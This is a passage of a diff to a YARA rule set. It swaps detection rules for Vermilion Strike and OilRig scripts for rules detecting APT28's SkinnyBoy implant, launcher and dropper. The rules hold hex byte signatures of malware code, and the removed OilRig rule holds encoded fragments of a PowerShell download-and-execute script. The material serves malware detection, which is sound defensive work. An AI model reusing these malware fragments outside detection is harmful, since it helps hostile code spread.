8b c3 83 fe 10 73 04 8d 44 24 7c 8d 50 01 8d a4 24 00 00 00 00 8a 08 40 84 c9 75 f9 2b c2 8b cb 83 fe 10 73 04 8d 4c 24 7c 8b 55 20 52 8b 54 24 2c 52 50 51 57 ff 15 4c a2 02 10 85 } - $s3 = { 68 00 00 00 10 6a 00 6a 00 6a 00 6a 00 c7 44 24 60 01 00 00 00 ff 15 40 a2 02 10 8b d8 8d 54 24 2c 52 8d 44 24 3c 50 55 53 ff 15 38 a2 02 10 8b e8 85 db 74 07 53 ff 15 44 a2 02 10 85 ed 74 2f 8b } - $s4 = { 6a ff 68 [2] 02 10 64 a1 00 00 00 00 50 81 ec 14 01 00 00 a1 c0 72 03 10 33 c4 89 84 24 10 01 00 00 53 a1 c0 72 03 10 33 c4 50 8d 84 24 1c 01 00 00 64 a3 00 00 00 00 33 db 8d 44 24 0c 89 9c 24 24 01 00 00 50 8d 4c 24 18 89 5c 24 0c 51 89 74 24 18 c7 44 24 14 04 01 00 00 ff 15 04 a0 02 10 8d 44 24 14 c7 46 18 0f 00 00 00 89 5e 14 88 5e 04 8d 50 01 8a 08 40 3a cb 75 f9 2b c2 50 8d 54 24 18 52 8b ce e8 [2] ff ff 89 9c 24 24 01 00 00 c7 44 24 08 01 00 00 00 e8 d1 fe ff ff 85 c0 8b c6 74 0e 6a 02 68 ?? c6 02 10 e8 [2] ff ff 8b c6 8b 8c 24 1c 01 00 00 64 89 0d 00 00 00 00 59 5b 8b 8c 24 } - $s5 = { a1 c0 72 03 10 33 c4 89 44 24 2c 68 00 00 00 f0 6a 18 6a 00 6a 00 68 4c 97 03 10 ff 15 30 a0 02 10 85 c0 75 11 33 c0 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 58 97 03 10 8b 0d 54 97 03 10 68 50 97 03 10 6a 00 33 c0 6a 00 66 89 44 24 1e a1 5c 97 03 10 89 54 24 2c 6a 1c 8d 54 24 20 89 44 24 34 a1 4c 97 03 10 89 4c 24 2c 8b 0d 60 97 03 10 52 50 c6 44 24 28 08 c6 44 24 29 02 c7 44 24 2c 0e 66 00 00 c7 44 24 30 10 00 00 00 89 4c 24 40 ff 15 2c a0 02 10 85 c0 74 87 8b 0d 50 97 03 10 56 8b 35 38 a0 02 10 6a 00 68 ?? 82 03 10 6a 01 51 c7 44 24 18 01 00 00 00 c7 44 24 20 01 00 00 00 ff d6 85 c0 74 2b a1 50 97 03 10 6a 00 8d 54 24 0c 52 6a 03 50 ff d6 85 c0 74 16 8b 15 50 97 03 10 6a 00 8d 4c 24 14 51 6a 04 52 ff d6 85 c0 75 12 33 c0 5e 8b 4c 24 2c 33 cc e8 [2] 00 00 83 c4 30 c3 8b 15 50 97 03 10 6a } + $s1 = { 55 8b ec a1 [2] 40 00 83 ec 3c 50 6a 3c 8d 4d c4 51 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 78 ?? 40 00 8d 45 c4 8d 50 02 8d 49 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b c2 d1 f8 75 1c 8b 15 [2] 40 00 52 68 [2] 40 00 68 [2] 40 00 68 [2] 40 00 ff 15 [2] 40 00 8b e5 } + $s2 = { 5c 00 5c 00 2e 00 5c 00 47 00 6c 00 6f 00 62 00 61 00 6c 00 5c 00 50 00 49 00 50 00 45 00 5c } + $s3 = { 5c 5c 25 73 5c 70 69 70 65 5c 25 73 } + $s4 = { 5c 00 69 00 6e 00 66 00 5c 00 00 00 [4-16] 2e 00 69 00 6e 00 66 } + $s5 = "%d blocks, %d sorted, %d scanned" ascii fullword + $s6 = "REMOTE_NS:ERROR:%d" ascii fullword + $s7 = { 5c 5c 25 73 5c 69 70 63 24 } + $s8 = { 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 6c 00 61 00 6e 00 6d 00 61 00 6e 00 73 00 65 00 72 00 76 00 65 00 72 00 5c 00 70 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 73 00 00 00 4e 00 75 00 6c 00 6c 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 50 00 69 00 70 00 65 00 73 00 00 00 00 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4c 00 53 00 41 00 00 00 00 00 52 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 41 00 6e 00 6f 00 6e 00 79 00 6d 00 6f 00 75 00 73 } condition: - uint16( 0 ) == 0x5A4D and filesize > 30KB and 4 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 20KB and 7 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_ELF_Vermilion_Strike_Sep_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Skinnyboy_Implant_Jun_2021_1 : FILE { meta: - description = "Detect the ELF version of Vermilion Strike implant" + description = "Detect SkinnyBoy Implant" author = "Arkbird_SOLG" - id = "bfc498b6-4d3d-5ae9-a360-d31f8cf6c5fc" - date = "2021-09-14" - modified = "2021-09-16" - reference = "https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-15/Vermilion_Strike/MAL_ELF_Vermilion_Strike_Sep_2021_1.yara#L1-L19" + id = "2c78e0f3-a0b3-56fb-b4d2-313c03f1331b" + date = "2021-06-05" + modified = "2021-06-06" + reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Implant_Jun_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "fe4bb6da7b29f1ae7c25a657d27f5e60ffa0e7d9f1f09a5a2331e4a80eb79481" - score = 50 + logic_hash = "37d6b03adaad0a97e91a366d8e5ce47bc0eb77263849422129edf9df28d25bd8" + score = 75 quality = 75 tags = "FILE" - hash1 = "294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc" - level = "experimental" + hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698" tlp = "White" - adversary = "Vermilion Strike" + adversary = "APT28" strings: - $s1 = { be bd f8 40 00 41 55 49 89 fd bf a3 f8 40 00 41 54 55 53 48 81 ec 20 04 00 00 e8 4f cb ff ff 48 85 c0 48 89 c5 0f 84 af 01 00 00 48 8d 5c 24 20 41 bc 0a 00 00 00 41 be b0 32 40 00 66 90 48 89 ea be c8 00 00 00 48 89 df e8 30 cd ff ff 48 85 c0 0f 84 4f 01 00 00 80 7c 24 20 23 74 e0 bf b4 f8 40 00 48 89 de 4c 89 e1 f3 a6 75 d1 be d4 1d 41 } - $s2 = { 8b 43 14 8b 73 10 8b 4b 0c 8d 56 01 44 8d 80 6c 07 00 00 be 70 21 41 00 31 c0 e8 ed 34 ff ff 48 85 ed 74 28 8b 4b 04 8b 53 08 48 89 ef 44 8b 03 48 83 c4 08 be 79 21 41 00 5b 5d } - $s3 = { 55 53 48 83 ec 70 48 8d 44 24 30 48 89 44 24 10 48 8d 44 24 40 48 89 44 24 08 8b 84 24 90 00 00 00 89 04 24 e8 22 fb ff ff e8 fd 58 ff ff e8 38 5a ff ff e8 f3 59 ff ff 0f 1f 00 e8 5b 5e ff ff 48 89 c7 e8 23 5b ff ff 48 89 c7 48 89 c5 e8 18 5f ff ff 48 8d 4c 24 50 31 d2 be 6e 00 00 00 48 89 c7 48 89 c3 e8 41 59 ff ff 48 8b 7c 24 50 31 c9 ba 04 00 00 00 be 21 00 00 00 e8 1b 60 ff ff 48 8d 54 24 2f 48 8d 7c 24 60 4c 89 e6 e8 d9 5c ff ff 48 8d 7c 24 60 ba 88 f8 40 00 be a7 20 41 00 e8 a5 1f 00 00 48 8b 4c 24 60 31 d2 be 64 00 00 00 48 89 df e8 f1 58 ff ff 31 c9 31 d2 be 65 00 00 00 48 89 df e8 e0 58 ff ff 48 85 c0 7e 73 48 8b 7c 24 50 e8 41 58 ff ff 8b 54 24 30 48 8b 74 24 40 48 89 df e8 50 59 ff ff 48 8b 7c 24 40 e8 66 12 00 00 48 8b 94 24 a0 00 00 00 48 8b b4 24 98 00 00 00 48 89 df e8 0e fd ff ff 48 89 df e8 b6 5f ff ff 48 89 ef e8 ce 58 ff ff b8 01 00 00 00 48 8b 54 24 60 48 8d 7a e8 48 81 ff c0 54 61 00 75 23 48 83 c4 70 5b 5d 41 5c c3 66 0f 1f 44 00 00 48 89 df e8 80 5f ff ff 48 89 ef e8 98 58 ff ff 31 c0 eb cb be b0 32 40 00 48 8d 4f 10 48 85 f6 74 3d 83 ca ff } - $s4 = { 8b 15 6e e4 20 00 31 ff be e0 57 61 00 e8 0a b8 ff ff 48 89 c7 31 c0 48 85 ff 74 17 48 89 3d e9 e4 20 00 e8 a4 bf ff ff 89 05 e6 e4 20 00 b8 01 00 } - $s5 = { b8 02 00 00 00 48 89 fb 48 83 ec 10 66 89 04 25 00 00 00 00 e8 a6 4e ff ff 83 f8 ff 89 04 24 74 16 89 04 25 04 00 00 00 b8 01 00 00 00 48 83 c4 10 5b c3 0f 1f 40 00 48 89 df e8 f0 4e ff ff 48 89 c1 31 c0 48 85 } + $s1 = { 55 8b ec 81 ec 48 01 00 00 a1 00 00 01 10 33 c5 89 45 fc 53 56 57 6a 00 6a 00 6a 00 8b c2 6a 00 68 6c ef 00 10 89 85 d0 fe ff ff 89 8d cc fe ff ff 89 85 e4 fe ff ff c7 85 c0 fe ff ff 01 00 00 00 c7 85 d8 fe ff ff 00 00 00 00 c7 85 dc fe ff ff 00 00 00 00 ff 15 e4 b1 00 10 8b 1d a4 b0 00 10 8b f0 89 b5 d4 fe ff ff ff d3 8b 3d d4 b1 00 10 85 f6 74 26 6a 04 8d 85 ec fe ff ff 50 6a 06 56 c7 85 ec fe ff ff c0 27 09 00 ff d7 6a 04 8d 85 ec fe ff ff 50 6a 05 56 ff d7 ff d3 85 f6 74 22 6a 01 6a 00 6a 03 6a 00 6a 00 68 bb 01 00 00 ff b5 cc fe ff ff 56 ff 15 cc b1 00 10 89 85 d8 fe ff ff ff d3 8b 4d 08 8b 3d e8 b1 00 10 81 f9 00 00 a0 00 0f 83 a7 01 00 00 68 03 01 00 00 8d 85 f1 fe ff ff 6a 00 50 c6 85 f0 fe ff ff 00 e8 3c 33 00 00 83 c4 0c ba 01 00 00 00 6a 00 6a 01 8d 8d f0 fe ff ff e8 55 f7 ff ff 83 c4 08 8d 55 08 8d 8d e4 fe ff ff e8 94 f6 ff ff 8d bd f0 fe ff ff 8d 4f 01 8a 07 47 84 c0 75 f9 8b 75 08 2b f9 8d 04 37 50 6a 08 89 85 e0 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 57 8d 8d f0 fe ff ff 51 50 89 85 d0 fe ff ff e8 62 6e 00 00 8b 85 d0 fe ff ff 83 c4 0c 03 c7 56 8b b5 e4 fe ff ff 56 50 e8 49 6e 00 00 83 c4 0c 56 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 57 8d 85 f0 fe ff ff 6a 00 50 e8 96 32 00 00 83 c4 0c 8d 8d d4 fe ff ff 6a 01 ff b5 e0 fe ff ff ff b5 d0 fe ff ff e8 8a f3 ff ff 85 c0 0f 84 7c 03 00 00 8b 85 d4 fe ff ff 8b 3d e8 b1 00 10 85 c0 74 03 50 ff d7 8b 85 d8 fe ff ff 85 } + $s2 = { 33 d2 8b c1 b9 00 00 20 00 f7 f1 33 c9 89 8d e4 fe ff ff 3b ca 89 95 b8 fe ff ff 1b d2 f7 da 03 d0 89 95 c4 fe ff ff 0f 84 98 02 00 00 8b ff 8b b5 b8 fe ff ff 85 f6 74 09 8d 42 ff 8b fe 3b c8 74 05 bf 00 00 20 00 57 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b 8d e4 fe ff ff 0f af cf 03 8d d0 fe ff ff 57 8b f0 51 56 89 b5 ec fe ff ff e8 c9 6c 00 00 83 c4 0c 8d 85 f1 fe ff ff 68 03 01 00 00 6a 00 50 c6 85 f0 fe ff ff 00 e8 1c 31 00 00 8b 85 e4 fe ff ff 83 c4 0c 40 6a 00 ff b5 c4 fe ff ff 8b d0 8d 8d f0 fe ff ff 89 85 e4 fe ff ff e8 27 f5 ff ff 83 c4 08 8d 85 e0 fe ff ff 50 6a 00 6a 01 57 56 c7 85 e0 fe ff ff 00 00 00 00 ff 15 24 b0 00 10 85 c0 74 4c ff b5 e0 fe ff ff 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 8b f0 8d 85 e0 fe ff ff 50 56 6a 01 57 8b bd ec fe ff ff 57 ff 15 24 b0 00 10 57 6a 00 ff 15 b4 b0 00 10 50 a1 b8 b0 00 10 ff d0 8b bd e0 fe ff ff 89 b5 ec fe ff ff 8d b5 f0 fe ff ff 8d 4e 01 8a 06 46 84 c0 75 f9 2b f1 8d 04 3e 50 6a 08 89 85 c8 fe ff ff ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 56 8d 8d f0 fe ff ff 51 50 89 85 bc fe ff ff e8 d8 6b 00 00 8b 8d bc fe ff ff 83 c4 0c 03 ce 57 8b bd ec fe ff ff 57 51 e8 bf 6b 00 00 83 c4 0c 57 6a 00 ff 15 b4 b0 00 10 50 ff 15 b8 b0 00 10 56 8d 85 f0 fe ff ff 6a 00 50 e8 0d 30 00 00 8b b5 c0 fe ff ff 8b bd bc fe ff ff 83 c4 0c 8d 8d d4 fe ff ff 56 ff b5 c8 fe ff ff 57 e8 fb f0 ff ff 85 c0 0f 84 c9 00 00 00 85 f6 0f 84 c1 00 00 00 8b 85 d4 fe ff ff 8b 35 e8 b1 00 10 85 } + $s3 = { 55 8b ec 83 e4 f8 81 ec 34 02 00 00 a1 00 00 01 10 33 c4 89 84 24 30 02 00 00 53 56 57 6a ff ff 35 28 1b 01 10 ff 15 4c b0 00 10 ff 35 28 1b 01 10 ff 15 80 b0 00 10 8b 35 b8 b0 00 10 8b 3d b4 b0 00 10 8d 44 24 10 50 8d 54 24 10 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 e8 df 0a 00 00 8b 4c 24 14 83 c4 04 85 c9 0f 84 e6 02 00 00 8b 54 24 0c 33 c0 33 db c7 44 24 20 00 00 00 00 89 44 24 1c 85 c9 0f 84 c2 02 00 00 8d 64 24 00 8b 34 13 8d 04 13 56 6a 08 ff d7 50 ff 15 ec b0 00 10 8b c8 8b 44 24 0c 83 c0 04 56 03 c3 50 51 89 4c 24 24 e8 a7 7e 00 00 8b 44 24 18 03 c3 83 c4 0c 8b 44 06 04 50 6a 08 89 44 24 1c ff d7 50 ff 15 ec b0 00 10 ff 74 24 14 8b f8 8b 44 24 10 03 c3 83 c6 08 03 c6 50 57 e8 72 7e 00 00 83 c4 0c 68 04 01 00 00 6a 08 ff 15 b4 b0 00 10 50 ff 15 ec b0 00 10 68 00 00 00 f0 6a 18 6a 00 8b f0 6a 00 8d 44 24 34 50 c7 44 24 38 00 00 00 00 c7 44 24 3c 00 00 00 00 ff 15 18 b0 00 10 } + $s4 = { ff 15 a4 b0 00 10 8d 44 24 28 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 34 ff 15 14 b0 00 10 ff 15 a4 b0 00 10 6a 00 ff 74 24 18 57 ff 74 24 34 ff 15 0c b0 00 10 ff 15 a4 b0 00 10 6a 00 8d 44 24 30 50 56 6a 02 ff 74 24 38 c7 44 24 40 04 01 00 00 ff 15 10 b0 00 10 ff 74 24 28 ff 15 00 b0 00 10 6a 00 ff 74 24 28 ff 15 04 b0 00 10 8b 54 24 2c 8b 44 24 18 } + $s5 = { 50 68 04 01 00 00 ff 15 a8 b0 00 10 8d 44 24 30 50 ff 15 a0 b1 00 10 68 18 ee 00 10 8d 44 24 34 50 ff 15 9c b0 00 10 b8 4d 5a 00 00 66 39 07 0f 85 b2 00 00 00 6a 00 68 80 00 00 00 6a 04 6a 00 6a 02 68 00 00 00 40 8d 44 24 48 50 ff 15 40 b0 00 10 8b f0 ff 15 a4 b0 00 10 83 fe } + $s6 = { 6a 00 8d 44 24 28 50 ff 74 24 1c c7 44 24 30 00 00 00 00 57 56 ff 15 38 b0 00 10 56 ff 15 44 b0 00 10 68 80 00 00 00 8d 44 24 34 50 ff 15 48 b0 00 10 8d 44 24 30 50 ff 15 a4 b1 00 10 85 c0 74 2d 8d 44 24 30 50 ff 15 b0 b0 00 10 8b f0 6a 01 56 ff 15 a0 b0 00 10 8d 4c 24 20 51 a3 20 1b 01 10 ff d0 56 89 44 24 20 ff 15 f4 b0 00 10 e8 ad f3 ff ff 57 8b 3d b4 b0 00 10 6a 00 ff d7 8b 35 b8 b0 00 10 50 ff d6 ff 74 24 18 6a 00 ff d7 50 ff d6 8b 44 24 1c 85 c0 74 12 8b 54 24 20 50 b9 4c ef 00 10 e8 77 0c 00 00 83 c4 04 8b 54 24 0c 8b 0c 13 8d 04 13 8d 04 19 83 c3 08 8b 44 10 04 03 c1 03 d8 3b 5c 24 10 0f 82 42 fd ff ff 52 6a 00 ff d7 50 ff d6 68 00 dd 6d 00 ff 35 28 1b 01 10 ff 15 4c b0 00 10 85 c0 0f 85 d4 fc ff ff } condition: - uint32( 0 ) == 0x464c457f and filesize > 30KB and 4 of them + uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Oilrig_VBS_2016_1 : FILE +rule ARKBIRD_SOLG_MAL_Skinnyboy_Launcher_Jun_2021_1 : FILE { meta: - description = "Detect VBS script in base 64 used by OilRig (2016)" + description = "Detect the Launcher of SkinnyBoy" author = "Arkbird_SOLG" - id = "5cc3a3f1-4f2f-56c4-af69-8652d22b6730" - date = "2020-08-26" - modified = "2021-07-13" - reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L4-L23" + id = "4e69cba4-92ef-5ea5-95d8-b22ed77f515c" + date = "2021-06-05" + modified = "2021-06-06" + reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-06/APT28/MAL_SkinnyBoy_Launcher_Jun_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "a6c42c46c80ca79b01aa0475c823aeccef416a0f8c2f58db95392cbe125b2fad" + logic_hash = "4d5906832a1bc90552255ada1cc9e3c7cd3e14e4b0cb11b1bf2c11c57bca8ad8" score = 75 - quality = 63 + quality = 75 tags = "FILE" - hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c" - hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5" + hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce" + tlp = "White" + adversary = "APT28" strings: - $block1 = { 53 45 39 4e 52 54 30 69 4a 58 42 31 59 6d 78 70 59 79 56 63 54 47 6c 69 63 6d 46 79 61 57 56 7a 58 43 49 } - $block2 = { 43 6c 4e 46 55 6c 5a 46 55 6a 30 69 61 48 52 30 } - $block3 = { 56 34 4c 6d 46 7a 63 48 67 2f 63 6d 56 78 } - $block4 = { 6a 30 69 63 47 39 33 5a 58 4a 7a 61 47 56 73 62 43 41 69 49 69 5a 37 4a 48 64 6a 50 53 68 75 5a 58 63 74 62 32 4a 71 5a 57 4e 30 49 46 4e 35 63 33 52 6c 62 53 35 4f 5a 58 51 75 56 32 56 69 51 32 78 70 5a 57 35 30 4b 54 73 6b 64 32 4d 75 56 58 4e 6c 52 47 56 6d 59 58 56 73 64 45 4e 79 5a 57 52 6c 62 6e 52 70 59 57 78 7a 50 53 52 30 63 6e 56 6c 4f 79 52 33 59 79 35 49 5a 57 46 6b 5a 58 4a 7a 4c 6d 46 6b 5a 43 67 6e 51 57 4e 6a 5a 58 42 30 4a 79 77 6e 4b 69 38 71 4a 79 6b 37 4a 48 64 6a 4c 6b 68 6c 59 57 52 6c 63 6e 4d 75 59 57 52 6b 4b 43 64 56 63 32 56 79 4c 55 46 6e 5a 57 35 30 4a 79 77 6e 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 45 4a 4a 56 46 4d 76 4e 79 34 33 4a 79 6b 37 64 32 68 70 62 47 55 6f 4d 53 6c 37 64 48 4a 35 65 79 52 79 50 55 64 6c 64 43 31 53 59 57 35 6b 62 32 30 37 4a 48 64 6a 4c 6b 52 76 64 32 35 73 62 32 46 6b 52 6d 6c 73 } - $block5 = { 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 [1-4] 45 52 33 62 69 77 69 4c 56 38 [1-4] 4a 6b 64 32 34 69 4b 53} - $block6 = { 30 69 49 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 4e 6c 4b 45 52 76 64 32 35 73 62 32 46 6b 52 58 68 6c 59 33 56 30 5a 53 77 69 4c 56 38 69 4c 43 4a 69 59 58 51 } - $block7 = { 51 70 72 62 32 31 6a 50 53 4a 77 62 33 64 6c 63 6e 4e 6f 5a 57 78 73 49 43 31 6c 65 47 56 6a 49 45 4a 35 63 47 46 7a 63 79 41 74 52 6d 6c 73 5a 53 41 69 4a 6b } - $block8 = { 0a b7 9a b5 e3 9b 8d e7 2d 59 27 2b 8a 9b 52 85 e9 65 46 e9 [1-4] d4 } + $s1 = { 55 8b ec 83 e4 f8 81 ec bc 06 00 00 a1 00 e0 40 00 33 c4 89 84 24 b8 06 00 00 53 56 57 33 c0 68 06 02 00 00 50 66 89 84 24 b8 02 00 00 8d 84 24 ba 02 00 00 50 8b f1 e8 64 31 00 00 8b 1d 28 90 40 00 0f 57 c0 83 c4 0c 8d 84 24 9c 02 00 00 50 c7 84 24 a0 02 00 00 79 00 00 00 66 0f d6 84 24 a4 02 00 00 66 0f d6 84 24 ac 02 00 00 c7 84 24 78 02 00 00 57 00 00 00 66 0f d6 84 24 7c 02 00 00 66 0f d6 84 24 84 02 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 85 d2 74 1b 8d 9b 00 00 00 00 66 8b 84 4c 74 02 00 00 66 31 84 4c 9c 02 00 00 41 3b ca 72 eb a1 80 cd 40 00 89 84 24 88 02 00 00 0f b7 05 84 cd 40 00 66 89 84 24 8c 02 00 00 a1 88 cd 40 00 89 84 24 74 02 00 00 0f b7 05 8c cd 40 00 66 89 84 24 78 02 00 00 0f 57 c0 8d 84 24 88 02 00 00 50 66 0f d6 84 24 92 02 00 00 c7 84 24 9a 02 00 00 00 00 00 00 66 c7 84 24 9e 02 00 00 00 00 66 0f d6 84 24 7e 02 00 00 c7 84 24 86 02 00 00 00 00 00 00 66 c7 84 24 8a 02 00 00 00 00 ff d3 8b d0 33 c9 89 15 38 fb 40 00 } + $s2 = { 66 8b 84 4c 74 02 00 00 66 31 84 4c 88 02 00 00 41 3b ca 72 eb 6a 64 6a 08 ff 15 30 90 40 00 50 ff 15 34 90 40 00 8b 1d 3c 90 40 00 89 44 24 0c 56 8d 84 24 b4 02 00 00 50 ff d3 8b 3d 44 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 68 90 cd 40 00 8d 84 24 b4 02 00 00 50 ff d3 8d 44 24 20 50 8d 84 24 b4 02 00 00 50 ff 15 40 90 40 00 8b f0 8d 84 24 b0 02 00 00 50 89 74 24 14 ff 15 40 91 40 00 8d 84 24 b0 02 00 00 50 ff d7 83 fe ff 0f 84 21 02 00 00 8b 35 2c 90 40 00 8d 9b 00 00 00 00 8d 84 24 9c 02 00 00 50 8d 44 24 50 50 ff d6 85 } + $s3 = { ff 15 20 90 40 00 8d 44 24 14 50 6a 00 6a 00 68 0c 80 00 00 ff 74 24 28 ff 15 04 90 40 00 ff 15 20 90 40 00 6a 00 56 8d 44 24 54 50 ff 74 24 20 ff 15 14 90 40 00 ff 15 20 90 40 00 6a 00 8d 44 24 20 50 ff 74 24 14 c7 44 24 28 64 00 00 00 6a 02 ff 74 24 24 ff 15 10 90 40 00 ff 74 24 14 ff 15 00 90 40 00 6a 00 ff 74 24 1c ff 15 0c 90 40 00 8b 74 24 1c 8b 4c 24 0c ba 90 ed 40 00 83 ee } + $s4 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 } + $s5 = { 55 8b ec 81 ec 6c 04 00 00 a1 00 e0 40 00 33 c5 89 45 fc 56 33 c0 68 06 02 00 00 50 66 89 85 f0 fb ff ff 8d 85 f2 fb ff ff 50 8b f1 e8 8f 33 00 00 68 04 01 00 00 8d 85 f0 fb ff ff 6a 00 50 e8 7c 33 00 00 83 c4 18 56 ff 15 48 91 40 00 85 c0 0f 84 b6 01 00 00 b8 69 00 00 00 68 d2 00 00 00 66 89 85 24 ff ff ff 8d 85 26 ff ff ff 6a 00 50 c7 85 f8 fe ff ff 1f 00 16 00 c7 85 fc fe ff ff 0b 00 22 00 c7 85 00 ff ff ff 78 00 7c 00 c7 85 04 ff ff ff 00 00 55 00 c7 85 08 ff ff ff 5b 00 2e 00 c7 85 0c ff ff ff 3f 00 03 00 c7 85 10 ff ff ff 04 00 04 00 c7 85 14 ff ff ff 0d 00 15 00 c7 85 18 ff ff ff 47 00 44 00 c7 85 1c ff ff ff 47 00 14 00 c7 85 20 ff ff ff 09 00 68 00 e8 dd 32 00 00 f3 0f 7e 05 48 cd 40 00 66 0f d6 85 f8 fd ff ff f3 0f 7e 05 50 cd 40 00 66 0f d6 85 00 fe ff ff f3 0f 7e 05 58 cd 40 00 66 0f d6 85 08 fe ff ff f3 0f 7e 05 60 cd 40 00 66 0f d6 85 10 fe ff ff f3 0f 7e 05 68 cd 40 00 68 d0 00 00 00 66 0f d6 85 18 fe ff ff f3 0f 7e 05 70 cd 40 00 8d 85 28 fe ff ff 6a 00 50 66 0f d6 85 20 fe ff ff e8 6a 32 00 00 83 c4 18 33 } + $s6 = { 0f b7 8c 05 f8 fd ff ff 66 31 8c 05 f8 fe ff ff 0f b7 8c 05 fa fd ff ff 66 31 8c 05 fa fe ff ff 0f b7 8c 05 fc fd ff ff 66 31 8c 05 fc fe ff ff 0f b7 8c 05 fe fd ff ff 66 31 8c 05 fe fe ff ff 83 c0 08 3d 00 01 00 00 72 b6 56 8d 85 f8 fe ff ff 50 8d 85 f0 fb ff ff 68 08 02 00 00 50 e8 ed 04 00 00 6a 44 8d 85 98 fb ff ff 6a 00 50 e8 ed 31 00 00 83 c4 1c 8d 85 e0 fb ff ff 50 8d 85 98 fb ff ff 50 6a 00 6a 00 68 00 00 00 08 6a 00 6a 00 6a 00 8d 85 f0 fb ff ff 50 6a 00 c7 85 98 fb ff ff 44 00 00 00 ff 15 38 90 40 00 8b 4d fc 33 cd 5e e8 b9 04 00 00 8b e5 } condition: - filesize < 2KB and 6 of them + uint16( 0 ) == 0x5a4d and filesize > 40KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_APT_Oilrig_PSH_Helminth_2016_1 : FILE +rule ARKBIRD_SOLG_MAL_Skinnyboy_Dropper_Jun_2021_1 : FILE { meta: - description = "Detect Powershell script Helminth in base 64 used by OilRig (2016)" + description = "Detect SkinnyBoy Dropper" author = "Arkbird_SOLG" - id = "782503c2-a292-505c-b513-79cbbd381124" - date = "2020-08-26" - modified = "2021-07-13" - reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L25-L45" + id = "1ea4cfe7-d44d-5cdb-8436-cb2b09dd2e56" + date = "2021-05-01" + modified = "2021-06-06" + reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf" + source_url = 